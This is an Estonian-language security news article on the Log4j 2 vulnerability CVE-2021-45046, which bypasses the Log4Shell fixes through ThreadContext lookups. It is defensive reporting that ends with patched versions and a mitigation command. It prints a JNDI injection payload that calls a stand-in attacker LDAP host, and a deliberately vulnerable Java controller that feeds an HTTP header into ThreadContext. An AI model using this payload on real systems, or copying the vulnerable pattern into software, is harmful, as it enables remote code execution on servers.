JNDI substitutsioonide rakenduses Log4j 2 on tuvastatud veel üks haavatavus (CVE-2021-45046), mis avaldub hoolimata 2.15 väljaandes tehtud parandustest ja sõltumata seade kasutamisest „log4j2.noFormatMsgLookup” kaitseks. Probleem ohustab peamiselt vanemaid Log4j 2 versioone, mis on kaitstud „noFormatMsgLookup” lipuga, kuna see võimaldab mööda pääseda varasema haavatavuse (Log4Shell, CVE-2021-44228) suhtes, mis võimaldab teie koodi serveris käivitada. Versiooni 2.15 kasutajate jaoks piirdub ekspluateerimine tingimuste loomisega rakenduse kokkujooksmiseks, mis tuleneb ressursside ammendamisest.
Haavatavus avaldub vaid süsteemides, kus logimist teostatakse kontekstipäringute (Context Lookup) abil, nagu ${ctx:loginId} või MDC-mallid (Thread Context Map), näiteks %X, %mdc ja %MDC. Ekspluateerimine piirdub tingimuste loomisega, et logisse saaks kirjutada andmeid, mis sisaldavad JNDI asendusi, kui rakenduses kasutatakse kontekstipäringuid või MDC-malle, mis määravad logisse kirjutamise vormindamise reeglid.
LunaSeci teadlased märkisid, et Log4j versioonides alla 2.15 võib seda haavatavust kasutada uue rünnakutee kui Log4Shelli rünnaku jaoks, mis toob kaasa koodi täitmise, kui logimise ajal kasutatakse ThreadContexti väljendeid, kuhu jõuavad välised andmed, sõltumata „noMsgFormatLookups” lipu aktiveerimisest või „%m{nolookups}” mallist.

Kaitse mööda minek seisneb selles, et selle asemel, et kasutada otsest asendust „${jndi:ldap://attacker.com/a}”, asetatakse see väljend läbi vahemälu muutuja väärtuse, mida kasutatakse logisse kirjutamise vormindamise reeglite määratlemisel. Näiteks, kui logisse kirjutamisel kasutatakse kontekstipäringut ${ctx:apiversion}, võib rünnak toimuda andmete asendamisega „${jndi:ldap://attacker.com/a}” muutuja apiversion väärtuses. Näide haavatavast koodist: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP päise „X-Api-Version” väärtus edastatakse ThreadContextile ThreadContext.put("apiversion", apiVersion); // Logi väljastamisel töödeldakse välist apiversion'i väärtust asenduse abil ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }
Log4j 2.15 versioonis saab haavatavust kasutada DoS-rünnakute teostamiseks, kui ThreadContext'i edastatakse väärtusi, mis põhjustavad vormindamisvormingus tsükli.

Haavatavuse blokeerimiseks on avaldatud uuendused 2.16 ja 2.12.2. Log4j 2.16 versioonis on lisaks 2.15 versioonis rakendatud parandustele ja JNDI LDAP päringute sidumisele «localhostiga» vaikimisi täielikult keelatud JNDI funktsionaalsus ja eemaldatud sõnumi asendustemplate tugi. Kaitse töö ümberkerimiseks on soovitatud eemaldada klass JndiLookup classpath'ist (näiteks «zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class»).
Paranduste ilmumise jälgimiseks pakettides on võimalik külastada jaotiste lehti (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ja Java platvormide tootjate (GitHub, Docker, Oracle, vmWare, Broadcom ja Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure jne).
Allikas: opennet.ru
